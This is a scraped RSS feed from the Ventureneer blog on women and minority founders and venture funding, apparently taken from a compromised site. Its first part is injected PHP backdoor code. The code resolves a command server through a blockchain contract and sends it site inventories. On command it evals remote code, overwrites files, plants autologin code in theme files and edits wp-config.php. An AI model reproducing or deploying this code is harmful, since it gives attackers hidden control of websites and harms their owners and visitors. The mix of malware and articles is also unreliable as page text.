// x1_nb if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home3/venturen/public_html/wp-content/plugins/wp-helper-a38794/wp-helper-a38794.php', 'ctrl'=>'// x1_nb', 'vis'=>'// 3d_uw', 'vis_func'=>'wp_bxsrxj', 'vis_paths'=>array('/home3/venturen/public_html/wp-content/plugins/wp-helper-a38794/wp-helper-a38794.php'), 'opt'=>'_wp_vrbug87v', ); $keys=array(); $keys['id']='7t4'; $keys['ver']='5j'; $keys['caps']='3jq'; $keys['tasks']='f0v'; $keys['interval']='2w3'; $keys['ack_id']='9hl'; $keys['ok']='9t'; $keys['detail']='ao5'; $keys['inv']='jk7'; $keys['result']='mud'; $hdr='X-RDI-Auth';$tok='OcC2dx8cc8TjZbMDvjnST00LT6blWy7SNq89qhpdXRs';$id='152b2a56d57e6965';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Social Good – Ventureneer https://ventureneer.com Wed, 21 Sep 2022 13:58:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 https://ventureneer.com/wp-content/uploads/2018/02/cropped-favicon-7-32x32.gif Social Good – Ventureneer https://ventureneer.com 32 32 Mom Founder And VCs Are Disrupting The Childcare Industry https://ventureneer.com/mom-founder-and-vcs-are-disrupting-the-childcare-industry/ https://ventureneer.com/mom-founder-and-vcs-are-disrupting-the-childcare-industry/#respond Wed, 21 Sep 2022 07:00:00 +0000 https://ventureneer.com/?p=3544 Women are generally responsible for childcare so it’s no surprise that female founders are creating innovative startups to solve the childcare crisis. And it’s also no surprise that women are investing in famtech startups.

]]> https://ventureneer.com/mom-founder-and-vcs-are-disrupting-the-childcare-industry/feed/ 0 Not A Rich White Guy: Here’s How To Get Your Entrepreneurial Venture Started https://ventureneer.com/not-a-rich-white-guy-heres-how-to-get-your-entrepreneurial-venture-started/ https://ventureneer.com/not-a-rich-white-guy-heres-how-to-get-your-entrepreneurial-venture-started/#respond Wed, 14 Sep 2022 07:00:00 +0000 https://ventureneer.com/?p=3540 Even if you weren’t born with money and connections, you can still achieve your entrepreneurial dream. Kathryn Finney’s book, Build the Damn Thing, tells you how to go for the brass ring.

]]> https://ventureneer.com/not-a-rich-white-guy-heres-how-to-get-your-entrepreneurial-venture-started/feed/ 0 The Power Of CPG Brings A Steady ROI To VC Funds https://ventureneer.com/the-power-of-cpg-brings-a-steady-roi-to-vc-funds/ https://ventureneer.com/the-power-of-cpg-brings-a-steady-roi-to-vc-funds/#respond Wed, 07 Sep 2022 12:30:00 +0000 https://ventureneer.com/?p=3537 Even in tough times, consumers spend. A venture capital fund is tapping into stability CPG spending to earn great returns for investors.

]]> https://ventureneer.com/the-power-of-cpg-brings-a-steady-roi-to-vc-funds/feed/ 0 True Grit Helps Female Founder Become A Unicorn https://ventureneer.com/true-grit-helps-female-founder-become-a-unicorn/ https://ventureneer.com/true-grit-helps-female-founder-become-a-unicorn/#respond Wed, 31 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3534 Women entrepreneurs have to overcome the usual business challenges as well as the often unspoken but very real reluctance to invest in women as leaders. But they do overcome, as shown by Stax, a unicorn on the WPO’s Fastest Growing Women-Owned Companies list and on the Inc 5000 list.

]]> https://ventureneer.com/true-grit-helps-female-founder-become-a-unicorn/feed/ 0 Revenue-Based Financing Powers A Tech Company To The Inc. 5000 https://ventureneer.com/revenue-based-financing-powers-a-tech-company-to-the-inc-5000/ https://ventureneer.com/revenue-based-financing-powers-a-tech-company-to-the-inc-5000/#respond Wed, 24 Aug 2022 12:15:00 +0000 https://ventureneer.com/?p=3531 Preserving your ownership stake while getting the capital you need to scale can be tough. But non-dilutive financing options are available, especially if your profit margin is high.

]]> https://ventureneer.com/revenue-based-financing-powers-a-tech-company-to-the-inc-5000/feed/ 0 Cord Blood Safe Ensures Future Treatments Are Available To You And Your Family https://ventureneer.com/cord-blood-safe-ensures-future-treatments-are-available-to-you-and-your-family/ https://ventureneer.com/cord-blood-safe-ensures-future-treatments-are-available-to-you-and-your-family/#respond Wed, 17 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3528 To take advantage of stem cell therapy, you need a donor match, which is sometimes hard to find. Now, stem cells can be banked when a child is born so, if the need arises, the matching stem cells are at hand.

]]> https://ventureneer.com/cord-blood-safe-ensures-future-treatments-are-available-to-you-and-your-family/feed/ 0 Relationships, Mentorship, And Certification Help A Woman-Owned Construction Firm Grow https://ventureneer.com/relationships-mentorship-and-certification-help-a-woman-owned-construction-firm-grow/ https://ventureneer.com/relationships-mentorship-and-certification-help-a-woman-owned-construction-firm-grow/#respond Wed, 10 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3524 Resources are out there to help minority- and women-owned (M/WBE) businesses learn what they need to know to grow their companies. Using them can make the difference between success and failure.

]]> https://ventureneer.com/relationships-mentorship-and-certification-help-a-woman-owned-construction-firm-grow/feed/ 0 Women Angel Investors: A Movement That Has Taken Off https://ventureneer.com/women-angel-investors-a-movement-that-has-taken-off/ https://ventureneer.com/women-angel-investors-a-movement-that-has-taken-off/#respond Wed, 03 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3521 Thanks to the pioneering effort of Golden Seeds more women are becoming angel investors and limited partners in venture funds that invest in female-founded startups.

]]> https://ventureneer.com/women-angel-investors-a-movement-that-has-taken-off/feed/ 0 PropTech Startup Makes Buying And Selling Your Home Easier And Cheaper https://ventureneer.com/proptech-startup-makes-buying-and-selling-your-home-easier-and-cheaper/ https://ventureneer.com/proptech-startup-makes-buying-and-selling-your-home-easier-and-cheaper/#respond Wed, 27 Jul 2022 12:30:00 +0000 https://ventureneer.com/?p=3518 HomeLister, an online home selling platform providing a better home buying-and-selling experience at a flat affordable fee, almost didn’t launch. Good lawyers and investors helped them persevere.

]]> https://ventureneer.com/proptech-startup-makes-buying-and-selling-your-home-easier-and-cheaper/feed/ 0 SPVs: A Tool For Women-Led VCs, Angel Groups, And Investors https://ventureneer.com/spvs-a-tool-for-women-led-vcs-angel-groups-and-investors/ https://ventureneer.com/spvs-a-tool-for-women-led-vcs-angel-groups-and-investors/#respond Wed, 20 Jul 2022 12:30:00 +0000 https://ventureneer.com/?p=3515 Special Purpose Vehicles can be used by women venture capitalists, angel groups to raise money from accredited investors to invest in startups. SPVs have lower fees, deals are quicker to do, and returns are distributed faster.

]]> https://ventureneer.com/spvs-a-tool-for-women-led-vcs-angel-groups-and-investors/feed/ 0 AI Startup Speeds Healthcare Innovations To Save Lives https://ventureneer.com/ai-startup-speeds-healthcare-innovations-to-save-lives/ https://ventureneer.com/ai-startup-speeds-healthcare-innovations-to-save-lives/#respond Wed, 13 Jul 2022 16:30:00 +0000 https://ventureneer.com/?p=3511 Faster synthesis and analysis of healthcare data get medical innovations to market faster. By harnessing AI, big data, machine learning, and predictive analytics, this startup is doing just that for medical device and pharmaceutical companies

]]> https://ventureneer.com/ai-startup-speeds-healthcare-innovations-to-save-lives/feed/ 0 Black Woman Tech Founder Shows How Innovation Is Done In The Silicon Bayou https://ventureneer.com/black-woman-tech-founder-shows-how-innovation-is-done-in-the-silicon-bayou/ https://ventureneer.com/black-woman-tech-founder-shows-how-innovation-is-done-in-the-silicon-bayou/#respond Wed, 11 Nov 2020 13:33:25 +0000 http://ventureneer.com/?p=3012 Continue reading "Black Woman Tech Founder Shows How Innovation Is Done In The Silicon Bayou"

]]> Unicorns were once mythical in the tech world. In recent years, more and more companies have achieved billion-dollar valuation, which qualifies them for unicorn status. However, you rarely see founders who break the typical profile—male; white; headquartered in Silicon Valley, New York City, and Boston; holding an Ivy League degree; and having cofounders. 

Venture capitalists have a type. Few look beyond stereotypes. VCs limit who is recognized as an innovator and what needs are being addressed by startups. This will limit the economic recovery to the same cast of characters we’ve had for decades, and disparities will continue to grow. 

To understand the potential of breaking the mold, venture capitalists should take notice of unicorns-in-waiting such as Resilia. The New Orleans-based company’s founder, Sevetri Wilson, exemplifies the potential when you look beyond the usual suspects. She is one of a group of tech founders who has transformed the Big Easy into Silicon Bayou. 

In 2009, Wilson founded Solid Ground Innovations, which started as a nonprofit management and consulting firm. “I saw how antiquated and outdated the technology nonprofits and their funders used,” said Wilson. “For the most part, technology was not designed specifically for them.” There are approximately 1.56 million nonprofits in the U.S., contributing $1 trillion—5.6%—to the economy. They deserve better. “… [Nonprofits and their funders] represent a massive opportunity for companies that can find better, lower-cost ways to service these organizations and help make the entire industry run more efficiently,” writes Jonathan Shieber in TechCrunch. 

Nonprofits are resource-constrained. Wilson saw an opportunity to automate processes on a software-as-a-service (SaaS) platform to reduce costs. In 2016, she launched Resilia (formerly called Exempt Me Now). It’s first product dramatically reduced the time to file for nonprofit status from more than 100 hours on average to 10 hours or less and at a fraction of the cost. 

Nonprofits report that their top three challenges were: no consistent framework for collecting and sharing data, a lack of human resources, and the inability to gather information on the impact of programs, according to Nonprofit Standards: A Benchmarking Survey by BDO and The Nonprofit Times. Resilia added tools for compliance, management, training, and funding. It enables grantors like governments, foundations, and corporations to deploy capital quickly and efficiently.

 Like many founders, when Wilson first began to raise capital, she sought big-name, well-known venture capitalists. She learned pretty quickly the importance of targeting VCs who are values-aligned with her’s. “In my case, that meant investors who invest outside of Silicon Valley, and invest in founders who are women and people of color,” she said. 

After Wilson was written about in Hypepotamus, the Southeast’s go-to source about the innovation community, Kristina Montague, managing partner of The JumpFund, reached out through LinkedIn. The JumpFund activates women’s wealth to fund female founders in the Southeast. Many of the JumpFunds’ limited partners sit at the intersection of philanthropy and nonprofits. “They understood the opportunity,” said Wilson. Montague is also on Resilia’s board of directors. 

As did Alicia Robb, managing director of Next Wave Impact, when Montague approached her about being part of the seed round. Next Wave is driving impact, diversity, and inclusion in early-stage investing and the entrepreneurial ecosystem and produces the Founders of Color Showcase. Both were Seed stage and Series A round investors. 

Montague invited Wilson to a women’s event in Chattanooga. There she met Monique Villa, an investor and scout for Mucker Capital, which invests in scrappy SaaS companies outside of Silicon Valley. Villa connected Wilson to Mucker’s cofounders and partners. They too recognized the potential of Resilia and joined the Seed round.

Last spring, Resilia announced an $8 million series A funding round, led by Mucker Capital and Callais Capital Management, with participation by Cultivation Capital. Funds raised to date are $10.4 million.

Having experienced the government and philanthropic response to Hurricane Katrina’s devastation, Wilson knew billions of dollars of new funding would be deployed in response to the coronavirus pandemic and Black Lives Matter movement. “Often, organizations or groups come together to give a whole bunch of money, then four or five years later ask whatever happened to that money?” said Wilson. This is particularly true of new funding initiatives that don’t yet have a back-office infrastructure. 

To ensure that their dollars are not being wasted, funders want to know the impact of their dollars immediately and over time. Resilia expanded its product line to serve the complex needs of grantors (government, corporations, foundations, and private donors) and grantees, commented William Hsu, cofounder and partner at Mucker Capital and a Resilia member board. 

Coordinating the philanthropic response has been a tremendous opportunity for Resilia. “As a result, the company has experienced a 40% uptick in revenue from all its products,” said Wilson. 

Since Black Lives Matters, consumers are getting the importance of buying from Black-owned companies. Not so in the govtech, and nonprofit and philanthropy tech worlds. Government agencies, corporations, and foundations are still not giving Black-owned tech firms their due. “It’s important that these organizations go beyond just writing a philanthropic check to purchase products and services from BIPOC (Black, Indigenous, and people of color) entrepreneurs,” said Wilson. Starting and expanding supplier diversity programs can help. Supplier diversity programs proactively encourage the use of traditionally underrepresented or underserved group such as women and minorities.

One initiative in the works since 2019 is happening at the federal level. Currently, to qualify to participate in these programs, firms must be 51% owned and controlled by women or minorities. For federal programs, there is bipartisan support for legislation to clarify that women-owned and minority-owned small businesses are still eligible for contracting opportunities even if they receive more than 50% of capital from private equity or venture capital firms. 

Talent is everywhere. Opportunity is not. What will you do to ensure this changes?

Read more articles like this as soon as they are published on Forbes. 

]]> https://ventureneer.com/black-woman-tech-founder-shows-how-innovation-is-done-in-the-silicon-bayou/feed/ 0 STEM Female Founders Can Get Funding Without Giving Up Equity In Their Companies Or Need To Pay The Money Back https://ventureneer.com/stem-female-founders-can-get-funding-without-giving-up-equity-in-their-companies-or-need-to-pay-the-money-back/ https://ventureneer.com/stem-female-founders-can-get-funding-without-giving-up-equity-in-their-companies-or-need-to-pay-the-money-back/#respond Wed, 14 Oct 2020 14:13:59 +0000 http://ventureneer.com/?p=2984 Female founders have more options for funding than many realize. Making those options known is the next step. Small Business Innovation Research (SBIR) and Small Business Technology Transfer (STTR) are federal grant opportunities for women who start STEM companies.

]]> https://ventureneer.com/stem-female-founders-can-get-funding-without-giving-up-equity-in-their-companies-or-need-to-pay-the-money-back/feed/ 0 Building The U.S. Economy Through Immigration Is This Entrepreneurs Lifework: Policy Is Her Next Stop https://ventureneer.com/building-the-u-s-economy-through-immigration-is-this-entrepreneurs-lifework-policy-is-her-next-stop/ https://ventureneer.com/building-the-u-s-economy-through-immigration-is-this-entrepreneurs-lifework-policy-is-her-next-stop/#respond Wed, 09 Sep 2020 13:21:46 +0000 http://ventureneer.com/?p=2956 Immigration drives innovation and economic growth, so Julie Pearl has made it her business to help skilled immigrants make their move. With a new restrictive rule moving to its final step, Pearl left her law firm to focus on bi-partisan immigration policy.

]]> https://ventureneer.com/building-the-u-s-economy-through-immigration-is-this-entrepreneurs-lifework-policy-is-her-next-stop/feed/ 0 How A Woman Is Expanding The Farm-To-Table Pipeline From Restaurants To Homes https://ventureneer.com/how-a-woman-is-expanding-the-farm-to-table-pipeline-from-restaurants-to-homes/ https://ventureneer.com/how-a-woman-is-expanding-the-farm-to-table-pipeline-from-restaurants-to-homes/#respond Wed, 05 Aug 2020 13:23:29 +0000 http://ventureneer.com/?p=2914 Continue reading "How A Woman Is Expanding The Farm-To-Table Pipeline From Restaurants To Homes"

]]> Restaurants have been one of the industries hardest hit by the coronavirus pandemic. As of July 10, 2020, more than 26,000 restaurants closed; 60% of those have closed permanently, according to Yelp Economic Average. With Covid-19 cases still rising, more full or partial lockdowns are expected, which will result in more restaurant closures in the future. It’s not just restaurants that have been hit hard. Those who provide their ingredients, such as farm-to-table producers and distributors, have been, too. 

Beginning on March 14, 2020, restaurants shuttered, as public health restrictions increased. “Seventy five percent of my business disappeared,” said Ariane Daguin, founder of D’Artagnan and a farm-to-table pioneer. D’Artagnan provides quality poultry, meats, foie gras, charcuterie, mushrooms, and truffles to fine restaurants. 

Locally sourced food is fresher, more flavorful, environmentally friendly and, often, healthier. No wonder many fine restaurants source their ingredients locally. Diners are willing to pay more for farm-to-table ingredients because doing so promotes local economies, safeguards the environment, and supports proper animal treatment. 

As it turns out, so are home cooks. 

How A Farm-To-Table Distributor Got Its Start

In 1985, while working at a small charcuterie in New York City, Daguin was excited when the opportunity to market the first domestically produced foie gras presented itself. She is a French immigrant and the daughter of the renowned Gascon chef André Daguin. She and a co-worker pooled their financial resources to launch D’Artagnan, to be a wholesaler of domestically produced foie gras and other local, farm-raised delicacies. The company name refers to the fourth musketeer in Alexandre Dumas’s novel. He also was from Gascon.

No Other Crisis Prepared Her For The Coronavirus Pandemic

In the 35 years D’Artagnan has been in business, many challenges arose. “I’ve never experienced anything like what we are experiencing today,” said Daguin. 

Not when she and her partner started the business with just $15,000. Even back in 1985, that wasn’t much money to start a food distribution business. With no collateral, the pair couldn’t get a loan. “Thank God, we had products that chefs were very enthusiastic about,” exclaimed Daguin. They want tasty meats and poultry coming from animals raised in a natural, sustainable, and humane way. D’Artagnan has been at the forefront of the organic movement in America, pioneering organic, free-range chicken, and humanely raised veal. “The chefs saw we were passionate. Many were immigrants or a son or daughter of an immigrant. They related to us. So they helped us by paying COD [cash on delivery].” 

Not when the team opened a restaurant right before 9/11. Despite the great review from The New York Times, it didn’t last long. “It wasn’t intended to be a moneymaker,” sighed Daguin. “It was to educate people. When you raise any animal the right way, without stress, with lots of space to build muscle, they will taste better.” It costs more to raise the heritage breeds that have not been genetically manipulated. They are given higher-quality feed, space to run around in, and more time to mature. That all adds costs. “The restaurant was fun while it lasted,” she continued. 

Not when her partner George tried to buy her out and she ended up buying him out. Nor when superstorm Sandy hit New Jersey (where she had a distribution center) and New York City (where many of her clients were based). 

“All those things had a beginning, a middle, and an end,” she said. The pandemic, on the other hand, seems endless.

Covid-19, A Crisis Like No Other

Fortunately, 12 years ago, D’Artagnan added an e-commerce site to sell directly to consumers. At first, people panicked and stockpiled whatever poultry and meats they found at the supermarket. As food shopping patterns normalized, people started coming to the website to order sustainably raised breeds that D’Artagnan offers. The e-commerce business surged. However, not all products have done well. It turns out that home cooks do not like to prepare exotic poultry like quail, pheasant, and squab, as well as game such as wild boar, venison and rabbit. They want to go to a restaurant for that.

Guided by the motto “all for one and one for all,” she didn’t lay anyone off or reduce salaries. D’Artagnan has 260 employees in distribution centers in Union, NJ; Macon, GA; Chicago, IL; Denver, CO; and Houston, TX. “We have made some changes and redeployed employees to different departments, but maintained the same number of heads,” stated Daguin. 

Restaurant chefs don’t need to be educated as to why D’Artagnan products are worth its premium price. “It’s part of their schooling,” said Daguin emphatically. However, consumers do. 

To educate them, D’Artagnan has a blog that covers recipes, tips and tricks, cooking trends, and food culture. “We address why the way animals are raised makes them tastier and are more nutritious,” said Daguin. The company is aggressively using search engine optimization (SEO), and search engine and social media marketing. As a result, retail and e-commerce sales have gone up exponentially. However, e-commerce is a hungry beast needing constant investment in marketing. 

As restaurants are allowed to open outdoor dining, the restaurant side of the business has slowly ramped up again. “However, our restaurant business is still far from last year’s numbers—sales are down by approximately 50%,” Daguin said. If the pandemic continues into the fall and winter, she will continue to look at ways to make adjustments. 

“We also feel a responsibility to our farmers,” said Daguin. Those that sell chicken and beef are doing well. However, those that specialize in more exotic meats are struggling. As they diversify their animal husbandry, they will do better. D’Artagnan is there to advise on what is selling well. 

What changes are you making so your business can survive the coronavirus crisis?

Read more articles like this as soon as they are published on Forbes. 

]]> https://ventureneer.com/how-a-woman-is-expanding-the-farm-to-table-pipeline-from-restaurants-to-homes/feed/ 0 Black Lives Matter Protests Moves Corporate D&I Initiatives Center Stage https://ventureneer.com/black-lives-matter-protests-moves-corporate-di-initiatives-center-stage/ https://ventureneer.com/black-lives-matter-protests-moves-corporate-di-initiatives-center-stage/#respond Wed, 17 Jun 2020 01:09:30 +0000 http://ventureneer.com/?p=2879 Effective diversity programs don’t happen by accident. They take commitment from management and input from those most affected – employees.

Photo Credit: Sean Lee – Unsplash

]]> https://ventureneer.com/black-lives-matter-protests-moves-corporate-di-initiatives-center-stage/feed/ 0 Working From Home Opens The Door To Employing People With Disabilities https://ventureneer.com/working-from-home-opens-the-door-to-employing-people-with-disabilities/ https://ventureneer.com/working-from-home-opens-the-door-to-employing-people-with-disabilities/#respond Mon, 20 Apr 2020 21:47:36 +0000 http://ventureneer.com/?p=2804 What used to be an accommodation is now the workplace norm for many employers, and it opens up the opportunity to employ people with disabilities.

]]> https://ventureneer.com/working-from-home-opens-the-door-to-employing-people-with-disabilities/feed/ 0 25+ Years In Telemedicine Makes This Entrepreneur Ready To Help During The Pandemic https://ventureneer.com/25-years-in-telemedicine-makes-this-entrepreneur-ready-to-help-during-the-pandemic/ https://ventureneer.com/25-years-in-telemedicine-makes-this-entrepreneur-ready-to-help-during-the-pandemic/#respond Sun, 29 Mar 2020 21:30:20 +0000 http://ventureneer.com/?p=2780 When a crisis strikes, entrepreneurs show their value by innovating, ramping up, and helping each other.

]]> https://ventureneer.com/25-years-in-telemedicine-makes-this-entrepreneur-ready-to-help-during-the-pandemic/feed/ 0 A Black Female Founder Pivots To Meet The Challenges Of Coronavirus https://ventureneer.com/a-black-female-founder-pivots-to-meet-the-challenges-of-coronavirus/ https://ventureneer.com/a-black-female-founder-pivots-to-meet-the-challenges-of-coronavirus/#respond Mon, 23 Mar 2020 21:26:50 +0000 http://ventureneer.com/?p=2774 Savvy entrepreneurs can provide solutions to the problems created by social isolation.

]]> https://ventureneer.com/a-black-female-founder-pivots-to-meet-the-challenges-of-coronavirus/feed/ 0 Female Founder Provides Small Loans To Help College Students Avoid Dropping Out https://ventureneer.com/female-founder-provides-small-loans-to-help-college-students-avoid-dropping-out/ https://ventureneer.com/female-founder-provides-small-loans-to-help-college-students-avoid-dropping-out/#respond Wed, 19 Feb 2020 02:21:42 +0000 http://ventureneer.com/?p=2747 Establishing an innovative business means educating investors and potential consumers about the value you off.

